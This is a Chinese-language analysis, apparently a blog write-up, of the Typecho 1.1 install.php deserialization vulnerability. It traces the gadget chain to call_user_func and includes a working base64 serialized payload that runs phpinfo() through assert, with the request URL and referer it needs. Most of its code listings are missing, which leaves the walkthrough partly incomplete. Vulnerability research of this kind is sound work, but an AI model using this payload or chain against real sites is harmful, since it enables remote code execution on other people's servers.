漏洞概况
typecho 1.1版本存在一个反序列化漏洞,允许用户执行一些恶意命令。
复现环境
- typecho-1.1-15.5.12-beta
- PHP 5.6.40 这里并不知为何在php7的版本里面没有成功复现
- Ubuntu 18.04 + MySQL 5.7 + Apache2
漏洞分析
在分许反序列化相关的漏洞之前,先看一下触发漏洞需要满足的其他条件,在install.php
的第58行-77行,存在一个对站点是否安装和ssrf潜在可能的判断:
1 | //判断是否已经安装 |
这里需要满足的条件为:
_GET['finish']
不为空;- referer需要为本站。
漏洞的入口在install.php
中:
1 |
|
首先是利用Typecho_Cookie::get()
方法获取用户请求的参数__typecho_config
,跟进去看一下:
1 | public static function get($key, $default = NULL) |
我们可以用Cookie传入,也可以用POST请求传入。传入的参数被赋值给$config
变量,该变量是一个数组,取出其中的$config['adapter']
和$config['prefix']
用来实例化类Typecho_Db
,那么会触发该类的__construct
方法,继续跟进:
1 | public function __construct($adapterName, $prefix = 'typecho_') |
在__construct()
方法中有一个字符串拼接的操作$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
,如果$adapterName
是一个类的话,就会触发该类的__toString()
方法。因为__toString
方法就是在一个类被当作字符串处理时会触发。所以接下来要去找可以利用的__toString()
,能找到三处定义,分别在Config.php
、Feed.php
和Queery.php
文件中:
分析一下它们的可用性,先是Config.php
文件中的Typecho_Config
类中的__toString()
:
1 |
|
这里显然没什么可继续利用的点,然后是Query.php
中的__toString()
方法,是一些query操作语句,同样很难利用。最后是Feed.php
中类Typecho_Feed
的__toString()
:
可以看到,在第290行会将$item['author']->screenName
拼接到$content
中,因为$item
是来自这里foreach循环的$this->_items
,而这是类Typecho_Feed
的私有属性,是可控的,所以可以找一个类,该类中应该要有可以利用的__get()
方法。道理这里为止,已经可以确定,前面分析中的$adapterName
需要是Typecho_Feed
的一个实例。
然后要找可以利用的__get()
方法,全局搜索,在Request.php
的类Typecho_Request
中发现了可以利用的__get()
,所以$item
为Typecho_Request
的一个实例化对象:
1 | public function __get($key) |
又调用了该类的get()
方法,所以继续跟入:
1 | public function get($key, $default = NULL) |
这个函数主要做的事情是给$value
变量赋值,然后将该值传给_applyFilter()
方法,而且$this->_params
是用户可控的,也就是说,传入_applyFilter()
的参数值是可控的。接着继续跟进$this->_applyFilter()
:
1 | private function _applyFilter($value) |
发现了call_user_func
,这里的两个参数$filter
和$value
,已经知道的是,$value
值在$this->_params[$key]
不为空的情况下,$value
的值与之相等,是用户可控的。而$filter
来自$this->_filter
,也是用户可控的。所以到这里,整个调用链就摸清楚了。
可以总结为以下流程:
- 入口在
install.php
第232行,实例化了一个Typecho_Db
对象,$db = new Typecho_Db($config['adapter'], $config['prefix']);
; - 触发了该类的
__construct()
方法,该方法中存在变量$adapterName
和字符串拼接的操作,令该变量为Typecho_Feed
类的实例化对象,将对象当作字符串处理会触发该类的__toString()
方法; __toString()
方法中存在$item['author']->screenName
,$item['author']
为用户可控,所以可以寻找一个类,该类中存在__get()
方法;- 该类为
Typecho_Request
,该类的__get()
方法调用get()
方法,get()
最后会调用_applyFilter()
,该方法会调用call_user_func
执行回调函数。
PoC编写
poc:
1 |
|
请求url:http://127.0.0.1/typecho-1.1-15.5.12-beta/install.php?finish=1
post data或是cookie:
1 | __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjEwOiJwaHBpbmZvKCk7Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MTA6InBocGluZm8oKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9 |
referer:http://127.0.0.1/typecho-1.1-15.5.12-beta/
攻击效果:
整个调用过程可以这样表示:
其他注意点
踩坑,一开始我写的exp是这样的:
1 |
|
和上面的差别就是在$this->_items[0]
这里没有对category
进行一个赋值。所以我跟踪调试了下想看看到底发生了什么,但是一路跟到最后的调用点Typecho_Request::_applyFilter()
方法,都是正常执行了命令。
继续跟下去,_applyFilter()
函数正常执行结束之后,程序返回Typecho_Feed::__toString()
,继续执行之后,程序返回Typecho_Db::__construct()
函数的122行继续执行,不过会抛出一个异常:
继续跟进,在var/Typecho/Common.php
中的exceptionalHandle()
中会处理这个异常:
这里调用了ob_end_clean()
来清楚缓冲区中的字符串,这个函数基本是和ob_start()
成套使用的:
在install.php
第54行可以看到调用了ob_start()
函数将执行流程的输出存储到缓冲区中:
但是在中途报错,调用了ob_end_clean()
清除了缓冲区,所以不会有任何的东西回显。因此这里就需要让程序在ob_end_clean()
之前异常退出。这里的做法就是添加一个不合法的category
:
最后一个需要注意的就是需要令
1 | $this->_type = 'RSS 2.0'; |
这是需要进入$item['author']->screenName
所在的if条件分支。